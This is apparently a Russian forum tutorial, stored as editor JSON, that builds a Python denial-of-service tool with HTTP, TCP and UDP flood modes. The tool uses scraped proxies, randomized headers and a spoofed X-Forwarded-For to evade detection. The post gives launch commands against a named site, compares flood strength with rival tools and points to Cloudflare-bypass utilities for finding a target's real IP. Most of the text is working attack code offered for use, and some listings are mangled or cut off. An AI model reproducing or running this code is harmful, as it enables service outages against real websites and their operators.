{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Сегодня мы с вами напишем самый мощный(по моему мнению) инструмент для DoS атак на Python. Начнем мы с вам с того, что я покажу список библиотек, которые я использовал.\nКод:","type":"unstyled","key":"b7jql"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"# -*- coding: utf-8 -*-\nimport urllib.request\nimport sys\nfrom scapy.all import * ","type":"unstyled","key":"8tapc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"отличная либа\n","type":"unstyled","key":"9r1km"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"# Импортируем либы\nimport socket\nimport socks\nimport argparse\nimport threading\nimport random","type":"unstyled","key":"1smfi"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь укажем автора программы))\nКод:","type":"unstyled","key":"16j5u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"__author__ = \"Жмышенко Валерий Альбертович 54 года\"","type":"unstyled","key":"bjkue"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Введем переменные, необходимые для работы программы:\nКод:","type":"unstyled","key":"39dsn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"sites = [\"https://www.socks-proxy.net/\",\"http://free-proxy-list.net/\"] ","type":"unstyled","key":"4b53v"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сайты откуда берем прокси\n","type":"unstyled","key":"67vvb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"useragents = []\n","type":"unstyled","key":"fi8vm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"---Мощность DoS-а зависит от вашего интернет соеденения!!!\n","type":"unstyled","key":"fchfq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"multiple = 70 # Умножение, значение можно менять\nthreads = 800 # Кол-во потоков, можно менять\nchoice1 = 0 ","type":"unstyled","key":"5tqkn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда\n","type":"unstyled","key":"d7u7m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"choice2 = 0 ","type":"unstyled","key":"mk6r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда\n","type":"unstyled","key":"713dh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"choice3 = 0 ","type":"unstyled","key":"csjcb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда\n","type":"unstyled","key":"9kv32"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"port = 80 # Порт куда будут слаться заросы, можно менять","type":"unstyled","key":"cadmj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Также хочу отметить, что мощность DoS-а зависит от вашего интернет соединения и качества прокси! Чтобы повысить мощность вы можете менять значение переменных multiple и threads\n","type":"unstyled","key":"12pa6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Добавим в нашу программу аргументы:\nКод:","type":"unstyled","key":"449o6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Добавляем в программу аргументы\n","type":"unstyled","key":"fl2ut"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"parser = argparse.ArgumentParser()\nparser.add_argument('-useragent', help = 'Путь до файла с user-агентами')\nparser.add_argument('-proxylist', help = 'Путь до файла с proxy')\nparser.add_argument('-url', help = 'Цель')\nparser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет')\nargs = parser.parse_args()\nuseragents_file = args.useragent\nneedproxy = args.getproxy\nurl = args.url\nproxies_list = args.proxylist\nif proxies_list == \"\": # Если прокси не указана закрыть программу\n print(\"Укажи прокси!\")\n exit()\nif useragents_file == \"\": # Если useragent-ы не указаны закрыть программу\n print(\"Укажи useragent-ов!\")\n exit()\nproxies = open(proxies_list).readlines() # Читаем прокси","type":"unstyled","key":"ff6t4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пропишем получение useragent-ов с файла:\nКод:","type":"unstyled","key":"8jvdg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Получение юзер агента с файла\nhandle = open(useragents_file)\nfor x in handle:\n useragents.append(x)\nuseragents = map(lambda s: s.strip(), useragents)\nuseragents = list(useragents)\n","type":"unstyled","key":"4cugs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Напишем функцию, которая будет подгонять введенный пользователем URL под нашу программу:\nКод:","type":"unstyled","key":"9gq20"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"def checkURL(): Редактируем URL\n global url\n global url2\n global urlport\n\n\n try:\n if url[0]+url[1]+url[2]+url[3] == \"www.\":\n url = \"http://\" + url\n elif url[0]+url[1]+url[2]+url[3] == \"http\":\n pass\n else:\n url = \"http://\" + url\n except:\n print(\"Ошибка!\")\n exit()\n\n try:\n url2 = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0].split(\":\")[0]\n except:\n url2 = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0]\n\n try:\n urlport = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0].split(\":\")[1]\n except:\n urlport = \"80\"","type":"unstyled","key":"93vq2"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для работы программы нужны прокси, напишем функцию их получения:\nКод:","type":"unstyled","key":"b1e8b"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"def getPROXY(urlproxy):\n try:\n req = urllib.request.Request((\"{0}\").format(str(urlproxy)))\n req.add_header(\"User-Agent\", random.choice(useragents))\n sourcecode = urllib.request.urlopen(req)\n part = str(sourcecode.read())\n part = part.split(\"\")\n part = part[1].split(\"\")\n part = part[0].split(\"\")\n proxies = \"\"\n for proxy in part:\n proxy = proxy.split(\"\") ","type":"unstyled","key":"2hcms"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Получаем прокси с сайта путем разделения тегов\n","type":"unstyled","key":"6jl0c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" try:\n proxies=proxies + proxy[0] + \":\" + proxy[1] + \"\\n\"\n except:\n pass\n handle = open(\"proxy.txt\",\"a\")","type":"unstyled","key":"d5qui"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Записываем полученные прокси в файл\n","type":"unstyled","key":"dgvd0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" handle.write(\"\")\n handle.write(proxies)\n handle.close()\n print (\"Прокси скачаны успешно!\")\n except:\n print (\"Ошибка!\")","type":"unstyled","key":"cg5e9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пользователь будет указывать, нужно ли качать прокси, поэтому сделаем проверку:\nКод:","type":"unstyled","key":"7jdmj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"if needproxy == \"1\": # Нужно ли качать прокси?\n ","type":"unstyled","key":"bhld3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" Получение проксей\n","type":"unstyled","key":"di1vk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" for x in sites:\n getPROXY(x)\n ","type":"unstyled","key":"1o5t8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь давайте напишем функцию, которая будет определять какой тип флуда нужен пользователю(можно это было сделать и через аргументы, но я решил сделать так))) ):\nКод:","type":"unstyled","key":"4sjcb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"def typeflood(): # Определяем тип флуда\n global choice1 ","type":"unstyled","key":"43tmp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для сайтов самый сильный - HTTP\n","type":"unstyled","key":"dtttm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" global choice2\n global choice3\n\n select = input(\"UDP или TCP или HTTP? => \")\n if select == \"TCP\":\n choice1 = \"1\" # Изначально программа была в интерактивном режиме\n choice2 = \"y\" # Но я убрал его, оставив лишь выбор метода флуда\n choice3 = \"0\" # Поэтому переменные называются choice))\n if select == \"UDP\":\n choice1 = \"2\"\n choice2 = \"y\" ","type":"unstyled","key":"6pai5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat\n","type":"unstyled","key":"13das"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":" choice3 = \"0\"\n if select == \"HTTP\":\n choice1 = \"0\"\n choice2 = \"y\"\n choice3 = \"0\"","type":"unstyled","key":"frj5m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Думаю 3-ех методов достаточно. Пишем функцию, которая будет запускать нужный нам метод флуда:\nКод:","type":"unstyled","key":"5nh3g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"def loop():\n global threads\n global get_host\n global acceptall\n global connection\n global go\n global x\n\n if choice1 == \"0\": # прописуем заголовки, чтобы не нагружать потоки\n get_host = \"GET \" + url + \" HTTP/1.1\\r\\nHost: \" + url2 + \"\\r\\n\"\n acceptall = [\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\n\",\n \"Accept-Encoding: gzip, deflate\\r\\n\",\n \"Accept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\n\",\n \"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\nAccept-Encoding: gzip\\r\\n\",\n \"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\n\",\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\n\",\n \"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\\r\\nAccept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept: text/html, application/xhtml+xml, image/jxr, */*\\r\\nAccept-Encoding: gzip\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\n\",\n \"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\\r\\nAccept-Encoding: gzip\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\n,\"\n \"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept-Charset: utf-8, iso-8859-1;q=0.5\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\n\",\n \"Accept: text/html, application/xhtml+xml\",\n \"Accept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\\r\\n\",\n \"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\n\",\n ] # заголовок Accept передается случайным образом, чтобы запросы казались легитимными\n connection = \"Connection: Keep-Alive\\r\\n\" #\n x = 0 # для счета\n go = threading.Event()\n if choice1 == \"1\": # Выбираем TCP флуд\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n TcpFloodProxed(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы\n else: # Выбираем UDP флуд\n if choice1 == \"2\":\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n UdpFloodProxed(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы\n else: # Выбираем HTTP флуд\n if choice2 == \"y\":\n if choice3 == \"0\":\n for x in range(threads):\n RequestProxyHTTP(x+1).start() # запуск класса\n print (\"Поток \" + str(x) + \" готов!\")\n go.set() # Запуск потоков, как только они все будут готовы","type":"unstyled","key":"b1ofn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сейчас начинается самое интересное, пишем сами методы флуда. Решил использовать классы:\nКод:","type":"unstyled","key":"8ggla"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class TcpFloodProxed(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n data = random._urandom(1024) # рандомная дата для пакета\n p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True:\n try:\n socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования\n s = socks.socksocket() # создание сокета\n s.connect((str(url2),int(port))) # подключение\n s.send(p) # отправка\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(p)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()","type":"unstyled","key":"f64n7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Прописуем UDP флуд:\nКод:","type":"unstyled","key":"b7n13"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class UdpFloodProxed(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n data = random._urandom(1024) # рандомная дата для пакета\n p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # построение пакета udp (классика)\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True:\n try:\n socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования\n s = socks.socksocket() # создание сокета\n s.connect((str(url2),int(port))) # подключение\n s.send(p) # отправка\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(p)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()\n except:\n s.close() # если что-то пойдет не так, закрыть поток и начать заново","type":"unstyled","key":"5iq7d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пишем HTTP флуд:\nКод:","type":"unstyled","key":"4l8lk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class RequestProxyHTTP(threading.Thread): # класс многопоточности\n\n def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной\n threading.Thread.__init__(self)\n self.counter = counter\n\n def run(self): # функция, которая дает инструкции для потоков\n useragent = \"User-Agent: \" + random.choice(useragents) + \"\\r\\n\" # выбор рандомного useragent-а\n accept = random.choice(acceptall) # выбор рандомного заголовка \"Accept\"\n randomip = str(random.randint(0,255)) + \".\" + str(random.randint(0,255)) + \".\" + str(random.randint(0,255)) + \".\" + str(random.randint(0,255))\n forward = \"X-Forwarded-For: \" + randomip + \"\\r\\n\" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность\n request = get_host + useragent + accept + forward + connection + \"\\r\\n\" # создаем конечный запрос\n current = x # текущий поток\n if current < len(proxies): # если поток может связаться с прокси, этот прокси используется\n proxy = proxies[current].strip().split(':')\n else: # в противном случае выбирается другое прокси\n proxy = random.choice(proxies).strip().split(\":\")\n go.wait() # ожидание, пока все прокси будут готовы\n while True: # бесконечный цикл\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет\n s.connect((str(proxy[0]), int(proxy[1]))) # коннектимся к прокси\n s.send(str.encode(request)) # кодируем запрос в байты\n print (\"Запрос отправлен с \" + str(proxy[0]+\":\"+proxy[1]) + \" =>\", self.counter) # вывод req + counter\n try: # отправлять другие запросы в этом же потоке\n for y in range(multiple): # коэффициент умножения\n s.send(str.encode(request)) # кодируем запрос в байты\n except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится\n s.close()\n except:\n s.close() # если что-то пойдет не так, закрыть поток и начать заново","type":"unstyled","key":"f1p75"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь добавим проверку, как запущена программа:\nКод:","type":"unstyled","key":"4tcp9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"if __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции\n checkURL()\n typeflood()\n loop()","type":"unstyled","key":"4kst3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Программа работает как на windows так и на linux. Для работы нужен python3 и установить библиотеки (pip install имя библиотеки).\nПолучить справку: python main.py -h\nПример запуска: python main.py -useragent useragents.txt -proxylist proxy.txt -url codeby.net\nПолучить прокси: python main.py -useragent useragents.txt -getproxy 1\n","type":"unstyled","key":"5j5t4"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Давайте протестируем мощность конкурентов моей программы:\n","type":"unstyled","key":"bv0af"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Начнем с xerxes\nКод:","type":"unstyled","key":"fhkb0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"https://github.com/zanyarjamal/xerxes","type":"unstyled","key":"dq3mb"},{"data":{"image":{"id":"5e862837b4adff4ccdbf7537"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Результат: \n","type":"atomic:image","key":"af5hb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как видим пиковая 30+ запросов, но далее запросы упали почти до 0.\n","type":"unstyled","key":"170ao"},{"data":{"image":{"id":"5e862837bd6e884c2117c253"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Далее у нас идет wreckuests\nJamesJGoodwin/wreckuests\nРезультат: \nПиковая 20+ запросов, далее запросы упали около 1-3.\n","type":"atomic:image","key":"4c653"},{"data":{"image":{"id":"5e86283776040914a467ffee"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь протестируем созданный нами инструмент:\n\nЭто был HTTP метод. Пиковая 120+ (иногда выдает 200 и выше, у вас может быть больше, если хороший интернет!), также запросы до 0 не падают))))\n","type":"atomic:image","key":"2m3tg"},{"data":{"image":{"id":"5e862837e366851eb08deb11"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"UDP метод:\n\n","type":"atomic:image","key":"3eu4u"},{"data":{"image":{"id":"5e862837bd6e884c2117c254"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"TCP метод:\n\n","type":"atomic:image","key":"24e3m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь подгоню пару ништяков. Все мы знаем что есть защиты от DoS-а или DDoS-а, например cloudflare.\nНапример сайт codeby.net имеет IP, но выдается нам IP cloudflare т.е он под защитой, но мы можем с помощью некоторых методов получить настоящий IP сервера и тогда наш DoS будет работать лучше)))\n","type":"unstyled","key":"c5hup"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обход cloudflare:\nКод:","type":"unstyled","key":"cnvfe"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"https://github.com/m0rtem/CloudFail\nhttps://github.com/HatBashBR/HatCloud\nИли через shodan ищем IP сервера","type":"unstyled","key":"9g2ch"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Исходник:\n","type":"unstyled","key":"c75at"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":3,"offset":0,"style":"BOLD"}],"text":"КодКод:","type":"unstyled","key":"v5gs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"# -*- coding: utf-8 -*-\nimport urllib.request\nimport sys\nfrom scapy.all import *\n# Импортируем либы\nimport socket\nimport socks\nimport argparse\nimport threading\nimport random\nimport time\n\n\n__author__ = \"Жмышенко Валерий Альбертович 54 года\"\nsites = [\"https://www.socks-proxy.net/\",\"http://free-proxy-list.net/\"] \n (Сайты откуда берем прокси)\nuseragents = []\n","type":"unstyled","key":"fjcfg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Мощность DoS-а зависит от вашего интернет соеденения!!!","type":"unstyled","key":"a3ken"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\nmultiple = 70 # Умножение, значение можно менять\nthreads = 800 # Кол-во потоков, можно менять\nchoice1 = 0 ","type":"unstyled","key":"a5nrl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда\nchoice2 = 0 ","type":"unstyled","key":"fbm7s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда","type":"unstyled","key":"an124"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\nchoice3 = 0 ","type":"unstyled","key":"466tt"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для настройки типа флуда","type":"unstyled","key":"6b5m0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\nport = 80 # Порт куда будут слаться запросы, можно менять\n\n Добавляем в программу аргументы\nparser = argparse.ArgumentParser()\nparser.add_argument('-useragent', help = 'Путь до файла с user-агентами')\nparser.add_argument('-proxylist', help = 'Путь до файла с proxy')\nparser.add_argument('-url', help = 'Цель')\nparser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет')\nargs = parser.parse_args()\nuseragents_file = args.useragent\nneedproxy = args.getproxy\nurl = args.url\nproxies_list = args.proxylist\n\n Получение юзер агента с файла\nhandle = open(useragents_file)\nfor x in handle:\n useragents.append(x)\nuseragents = map(lambda s: s.strip(), useragents)\nuseragents = list(useragents)\n\n\ndef getPROXY(urlproxy):\n try:\n req = urllib.request.Request((\"{0}\").format(str(urlproxy)))\n req.add_header(\"User-Agent\", random.choice(useragents))\n sourcecode = urllib.request.urlopen(req)\n part = str(sourcecode.read())\n part = part.split(\"\")\n part = part[1].split(\"\")\n part = part[0].split(\"\")\n proxies = \"\"\n for proxy in part:\n proxy = proxy.split(\"\") ","type":"unstyled","key":"2onf7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Получаем прокси с сайта путем разделения тегов\n try:\n proxies=proxies + proxy[0] + \":\" + proxy[1] + \"\\n\"\n except:\n pass\n handle = open(\"proxy.txt\",\"a\") Записуем полученные прокси в файл\n handle.write(\"\")\n handle.write(proxies)\n handle.close()\n print (\"Прокси скачаны успешно!\")\n except:\n print (\"Ошибка!\")\n\nif needproxy == \"1\": # Нужно ли качать прокси?\n Получение проксей\n for x in sites:\n getPROXY(x)\n \ntime.sleep(5)\nif proxies_list == \"\": # Если прокси не указана закрыть программу\n print(\"Укажи прокси!\")\n exit()\nif useragents_file == \"\": # Если useragent-ы не указаны закрыть программу\n print(\"Укажи useragent-ов!\")\n exit()\ntry:\n proxies = open(proxies_list).readlines() # Читаем прокси\nexcept TypeError:\n print(\"Прокси с файла не считаны!\")","type":"unstyled","key":"dk9qv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n\n\n\n\ndef checkURL(): ","type":"unstyled","key":"b8jvg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Редактируем URL\n global url\n global url2\n global urlport\n\n\n try:\n if url[0]+url[1]+url[2]+url[3] == \"www.\":\n url = \"http://\" + url\n elif url[0]+url[1]+url[2]+url[3] == \"http\":\n pass\n else:\n url = \"http://\" + url\n except:\n print(\"Ошибка!\")\n exit()\n\n try:\n url2 = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0].split(\":\")[0]\n except:\n url2 = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0]\n\n try:\n urlport = url.replace(\"http://\", \"\").replace(\"https://\", \"\").split(\"/\")[0].split(\":\")[1]\n except:\n urlport = \"80\"\n\n\n\ndef typeflood(): # Определяем тип флуда\n global choice1 #Для сайтов самы сильный - HTTP\n global choice2\n global choice3\n\n select = input(\"UDP или TCP или HTTP? => \")\n if select == \"TCP\":\n choice1 = \"1\" # Изначально программа была в интерактивном режиме\n choice2 = \"y\" # Но я убрал его, оставив лишь выбор метода флуда\n choice3 = \"0\" # Поэтому переменные называются choice))\n if select == \"UDP\":\n choice1 = \"2\"\n choice2 = \"y\" #Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat\n choice3 = \"0\"\n if select == \"HTTP\":\n choice1 = \"0\"\n choice2 = \"y\"\n choice3 = \"0\"\n\n\ndef loop():\n global threads\n global get_host\n global acceptall\n global connection\n global go\n global x\n\n if choice1 == \"0\": # прописуем заголовки, чтобы не нагружать потоки\n get_host = \"GET \" + url + \" HTTP/1.1\\r\\nHost: \" + url2 + \"\\r\\n\"\n acceptall = [\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\n\",\n \"Accept-Encoding: gzip, deflate\\r\\n\",\n \"Accept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate\\r\\n\",\n \"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\nAccept-Encoding: gzip\\r\\n\",\n \"Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\n\",\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\n\",\n \"Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\\r\\nAccept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept: text/html, application/xhtml+xml, image/jxr, */*\\r\\nAccept-Encoding: gzip\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\n\",\n \"Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\\r\\nAccept-Encoding: gzip\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Charset: utf-8, iso-8859-1;q=0.5\\r\\n,\"\n \"Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept-Charset: utf-8, iso-8859-1;q=0.5\\r\\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\\r\\n\",\n \"Accept: text/html, application/xhtml+xml\",\n \"Accept-Language: en-US,en;q=0.5\\r\\n\",\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\\r\\n\",\n \"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\\r\\nAccept-Charset: iso-8859-1\\r\\n\",\n ] # заголовок Accept передается случайным образом, чтобы запросы казались легимитными\n connection = \"Connection: Keep-Alive\\r\\n\" #\n x = 0 # 